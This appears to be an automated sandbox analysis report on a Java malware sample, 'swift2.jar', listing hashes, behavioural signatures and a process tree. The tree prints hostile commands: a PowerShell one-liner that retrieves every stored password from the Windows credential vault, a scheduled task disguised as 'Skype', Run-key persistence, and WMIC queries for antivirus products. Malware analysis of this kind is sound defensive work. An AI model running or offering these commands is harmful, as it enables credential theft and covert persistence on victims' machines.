Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
14-06-2024 05:51
Behavioral task
behavioral1
Sample
swift2.jar
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
swift2.jar
Resource
win10v2004-20240611-en
General
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Target
swift2.jar
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Size
203KB
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MD5
6466b8b6db77557217549b21d857ba28
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SHA1
850b21f745803ca28cc4e4607e433452d1fade1e
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SHA256
01ed21113dc9ef0fc8db1ab49021286f47c7e75eb377f24c8c57dc9b25cfcc59
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SHA512
72a62ec8b536bdb9f5075b25166b7c1cb59cd5cf2f736e3bc28c98b57a3d86c8b2c666669e1a5309291e5551a9f758e252ba9b1cd3b99bbe49f37441d42e9230
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SSDEEP
3072:mV2ECg5sT5LQlZ9IkZI/fd3qr9w5wYJJk4ubY+pqtvQzvL0BoWrTy/mS:Qz65LG9bZbBw5wYJqN0dozvQSWrTnS
Malware Config
Signatures
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Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\swift2.jar java.exe -
Loads dropped DLL 3 IoCs
pid Process 4084 java.exe 4084 java.exe 4084 java.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 3512 icacls.exe -
Accesses Microsoft Outlook profiles 1 TTPs 7 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook java.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\swift2 = "\"C:\\Program Files\\Java\\jre-1.8\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\AppData\\Roaming\\swift2.jar\"" java.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\swift2 = "\"C:\\Program Files\\Java\\jre-1.8\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\AppData\\Roaming\\swift2.jar\"" java.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 28 ip-api.com -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2636 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4264 powershell.exe 4264 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 496 WMIC.exe Token: SeSecurityPrivilege 496 WMIC.exe Token: SeTakeOwnershipPrivilege 496 WMIC.exe Token: SeLoadDriverPrivilege 496 WMIC.exe Token: SeSystemProfilePrivilege 496 WMIC.exe Token: SeSystemtimePrivilege 496 WMIC.exe Token: SeProfSingleProcessPrivilege 496 WMIC.exe Token: SeIncBasePriorityPrivilege 496 WMIC.exe Token: SeCreatePagefilePrivilege 496 WMIC.exe Token: SeBackupPrivilege 496 WMIC.exe Token: SeRestorePrivilege 496 WMIC.exe Token: SeShutdownPrivilege 496 WMIC.exe Token: SeDebugPrivilege 496 WMIC.exe Token: SeSystemEnvironmentPrivilege 496 WMIC.exe Token: SeRemoteShutdownPrivilege 496 WMIC.exe Token: SeUndockPrivilege 496 WMIC.exe Token: SeManageVolumePrivilege 496 WMIC.exe Token: 33 496 WMIC.exe Token: 34 496 WMIC.exe Token: 35 496 WMIC.exe Token: 36 496 WMIC.exe Token: SeIncreaseQuotaPrivilege 496 WMIC.exe Token: SeSecurityPrivilege 496 WMIC.exe Token: SeTakeOwnershipPrivilege 496 WMIC.exe Token: SeLoadDriverPrivilege 496 WMIC.exe Token: SeSystemProfilePrivilege 496 WMIC.exe Token: SeSystemtimePrivilege 496 WMIC.exe Token: SeProfSingleProcessPrivilege 496 WMIC.exe Token: SeIncBasePriorityPrivilege 496 WMIC.exe Token: SeCreatePagefilePrivilege 496 WMIC.exe Token: SeBackupPrivilege 496 WMIC.exe Token: SeRestorePrivilege 496 WMIC.exe Token: SeShutdownPrivilege 496 WMIC.exe Token: SeDebugPrivilege 496 WMIC.exe Token: SeSystemEnvironmentPrivilege 496 WMIC.exe Token: SeRemoteShutdownPrivilege 496 WMIC.exe Token: SeUndockPrivilege 496 WMIC.exe Token: SeManageVolumePrivilege 496 WMIC.exe Token: 33 496 WMIC.exe Token: 34 496 WMIC.exe Token: 35 496 WMIC.exe Token: 36 496 WMIC.exe Token: SeIncreaseQuotaPrivilege 1960 WMIC.exe Token: SeSecurityPrivilege 1960 WMIC.exe Token: SeTakeOwnershipPrivilege 1960 WMIC.exe Token: SeLoadDriverPrivilege 1960 WMIC.exe Token: SeSystemProfilePrivilege 1960 WMIC.exe Token: SeSystemtimePrivilege 1960 WMIC.exe Token: SeProfSingleProcessPrivilege 1960 WMIC.exe Token: SeIncBasePriorityPrivilege 1960 WMIC.exe Token: SeCreatePagefilePrivilege 1960 WMIC.exe Token: SeBackupPrivilege 1960 WMIC.exe Token: SeRestorePrivilege 1960 WMIC.exe Token: SeShutdownPrivilege 1960 WMIC.exe Token: SeDebugPrivilege 1960 WMIC.exe Token: SeSystemEnvironmentPrivilege 1960 WMIC.exe Token: SeRemoteShutdownPrivilege 1960 WMIC.exe Token: SeUndockPrivilege 1960 WMIC.exe Token: SeManageVolumePrivilege 1960 WMIC.exe Token: 33 1960 WMIC.exe Token: 34 1960 WMIC.exe Token: 35 1960 WMIC.exe Token: 36 1960 WMIC.exe Token: SeIncreaseQuotaPrivilege 1960 WMIC.exe -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 3548 wrote to memory of 3512 3548 java.exe 84 PID 3548 wrote to memory of 3512 3548 java.exe 84 PID 3548 wrote to memory of 3088 3548 java.exe 87 PID 3548 wrote to memory of 3088 3548 java.exe 87 PID 3088 wrote to memory of 4676 3088 java.exe 89 PID 3088 wrote to memory of 4676 3088 java.exe 89 PID 3088 wrote to memory of 4084 3088 java.exe 90 PID 3088 wrote to memory of 4084 3088 java.exe 90 PID 4676 wrote to memory of 2636 4676 cmd.exe 93 PID 4676 wrote to memory of 2636 4676 cmd.exe 93 PID 4084 wrote to memory of 1648 4084 java.exe 94 PID 4084 wrote to memory of 1648 4084 java.exe 94 PID 1648 wrote to memory of 496 1648 cmd.exe 96 PID 1648 wrote to memory of 496 1648 cmd.exe 96 PID 4084 wrote to memory of 4548 4084 java.exe 98 PID 4084 wrote to memory of 4548 4084 java.exe 98 PID 4548 wrote to memory of 1960 4548 cmd.exe 100 PID 4548 wrote to memory of 1960 4548 cmd.exe 100 PID 4084 wrote to memory of 4988 4084 java.exe 101 PID 4084 wrote to memory of 4988 4084 java.exe 101 PID 4988 wrote to memory of 2956 4988 cmd.exe 103 PID 4988 wrote to memory of 2956 4988 cmd.exe 103 PID 4084 wrote to memory of 2792 4084 java.exe 104 PID 4084 wrote to memory of 2792 4084 java.exe 104 PID 2792 wrote to memory of 4424 2792 cmd.exe 106 PID 2792 wrote to memory of 4424 2792 cmd.exe 106 PID 4084 wrote to memory of 4264 4084 java.exe 107 PID 4084 wrote to memory of 4264 4084 java.exe 107 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook java.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook java.exe
Processes
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C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\swift2.jar1⤵
- Suspicious use of WriteProcessMemory
PID:3548 -
C:\Windows\system32\icacls.exeC:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M2⤵
- Modifies file permissions
PID:3512
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C:\Program Files\Java\jre-1.8\bin\java.exe"C:\Program Files\Java\jre-1.8\bin\java.exe" -jar "C:\Users\Admin\swift2.jar"2⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3088 -
C:\Windows\SYSTEM32\cmd.execmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\swift2.jar"3⤵
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Windows\system32\schtasks.exeschtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\swift2.jar"4⤵
- Creates scheduled task(s)
PID:2636
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C:\Program Files\Java\jre-1.8\bin\java.exe"C:\Program Files\Java\jre-1.8\bin\java.exe" -jar "C:\Users\Admin\AppData\Roaming\swift2.jar"3⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:4084 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list"4⤵
- Suspicious use of WriteProcessMemory
PID:1648 -
C:\Windows\System32\Wbem\WMIC.exewmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list5⤵
- Suspicious use of AdjustPrivilegeToken
PID:496
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C:\Windows\SYSTEM32\cmd.execmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list"4⤵
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Windows\System32\Wbem\WMIC.exewmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1960
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C:\Windows\SYSTEM32\cmd.execmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list"4⤵
- Suspicious use of WriteProcessMemory
PID:4988 -
C:\Windows\System32\Wbem\WMIC.exewmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list5⤵PID:2956
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C:\Windows\SYSTEM32\cmd.execmd.exe /c "wmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list"4⤵
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Windows\System32\Wbem\WMIC.exewmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list5⤵PID:4424
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }"4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4264
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
46B
MD5e0881359a40b0ae4f15fa67376aae3d9
SHA1e5b47edbb6a1290378d579066bcaaab37feae952
SHA256a4d417e8575c306e405d695a3ba3785207d40db7027310e5363eb9d9a51e59f4
SHA512a4a8f4157197e2a88c27eaf84b65528910a6665e6fcd60bdc3c53629239424b3281dec420f815740ffb661db15c4f864a7583d81f384f9d4c4397617177ac6d1
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Filesize
46B
MD5748d5e115b72758a5bd5cc9babb914d8
SHA1d4c7a1eeea49d71a0d7df98eee244acec9362d7b
SHA256bcd6ddc9ed3409f14e8f9bdbe25fd786f72850ed1ded172186d9567fb844b318
SHA5126f35cc82466efb3b634c522b50fb7cab4e3a03c1dc2623a96cf7b4a9336b7ba18173a112e98ce60fad8f2372a97c89f6bf6576cb8c3b761c19c6030a36a248b8
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
241KB
MD5e02979ecd43bcc9061eb2b494ab5af50
SHA13122ac0e751660f646c73b10c4f79685aa65c545
SHA256a66959bec2ef5af730198db9f3b3f7cab0d4ae70ce01bec02bf1d738e6d1ee7a
SHA5121e6f7dcb6a557c9b896412a48dd017c16f7a52fa2b9ab513593c9ecd118e86083979821ca7a3e2f098ee349200c823c759cec6599740dd391cb5f354dc29b372
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C:\Users\Admin\AppData\Local\Temp\sqlite-3.14.2.1-59c9e856-62c9-407b-b83b-1f1e1df2a5e3-sqlitejdbc.dll
Filesize914KB
MD5bcd42d2959eadc64dc225cf800ce3c90
SHA1f19981d3c3987259edf9874aaccaaec21616b03d
SHA25605a8557f5d197aca468f5272a2a869293cb11c2f0ab4839a17f144f9a5d0b77d
SHA512428ba3a76543e726b58ea334b6ea9538c7230592cc29fa564fdb44fdb4e2998820514af70b10b80f77c8f1554f63e1a4822ef8db095191956652454d220bc167
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Filesize
1.5MB
MD578346f82a3f315867f10fc8462e50058
SHA1bb2ec7c4c08159f00e38ef0829a8127e3c3a32a6
SHA256382826ff61754d9b5d2316563f05e975f0e433337f2f956fe68b070276d57748
SHA51274c0b62172c9abd0ebfaefa1ce50c49b951509601d4609d693cd176d2bb0372cf521db6c72f2d3b06e1195abb57ea270c1ee0487922473a0523352a2f5a1b17b
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-200405930-3877336739-3533750831-1000\83aa4cc77f591dfc2374580bbd95f6ba_aa2c3450-affa-4182-91ec-fc04d80413bd
Filesize45B
MD5c8366ae350e7019aefc9d1e6e6a498c6
SHA15731d8a3e6568a5f2dfbbc87e3db9637df280b61
SHA25611e6aca8e682c046c83b721eeb5c72c5ef03cb5936c60df6f4993511ddc61238
SHA51233c980d5a638bfc791de291ebf4b6d263b384247ab27f261a54025108f2f85374b579a026e545f81395736dd40fa4696f2163ca17640dd47f1c42bc9971b18cd
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Filesize
1.4MB
MD5acfb5b5fd9ee10bf69497792fd469f85
SHA10e0845217c4907822403912ad6828d8e0b256208
SHA256b308faebfe4ed409de8410e0a632d164b2126b035f6eacff968d3908cafb4d9e
SHA512e52575f58a195ceb3bd16b9740eadf5bc5b1d4d63c0734e8e5fd1d1776aa2d068d2e4c7173b83803f95f72c0a6759ae1c9b65773c734250d4cfcdf47a19f82aa
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Filesize
2.6MB
MD52f4a99c2758e72ee2b59a73586a2322f
SHA1af38e7c4d0fc73c23ecd785443705bfdee5b90bf
SHA25624d81621f82ac29fcdd9a74116031f5907a2343158e616f4573bbfa2434ae0d5
SHA512b860459a0d3bf7ccb600a03aa1d2ac0358619ee89b2b96ed723541e182b6fdab53aefef7992acb4e03fca67aa47cbe3907b1e6060a60b57ed96c4e00c35c7494
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Filesize
4.1MB
MD5b33387e15ab150a7bf560abdc73c3bec
SHA166b8075784131f578ef893fd7674273f709b9a4c
SHA2562eae3dea1c3dde6104c49f9601074b6038ff6abcf3be23f4b56f6720a4f6a491
SHA51225cfb0d6ce35d0bcb18527d3aa12c63ecb2d9c1b8b78805d1306e516c13480b79bb0d74730aa93bd1752f9ac2da9fdd51781c48844cea2fd52a06c62852c8279
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Filesize
772KB
MD5e1aa38a1e78a76a6de73efae136cdb3a
SHA1c463da71871f780b2e2e5dba115d43953b537daf
SHA2562ddda8af6faef8bde46acf43ec546603180bcf8dcb2e5591fff8ac9cd30b5609
SHA512fee16fe9364926ec337e52f551fd62ed81984808a847de2fd68ff29b6c5da0dcc04ef6d8977f0fe675662a7d2ea1065cdcdd2a5259446226a7c7c5516bd7d60d
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Filesize
203KB
MD56466b8b6db77557217549b21d857ba28
SHA1850b21f745803ca28cc4e4607e433452d1fade1e
SHA25601ed21113dc9ef0fc8db1ab49021286f47c7e75eb377f24c8c57dc9b25cfcc59
SHA51272a62ec8b536bdb9f5075b25166b7c1cb59cd5cf2f736e3bc28c98b57a3d86c8b2c666669e1a5309291e5551a9f758e252ba9b1cd3b99bbe49f37441d42e9230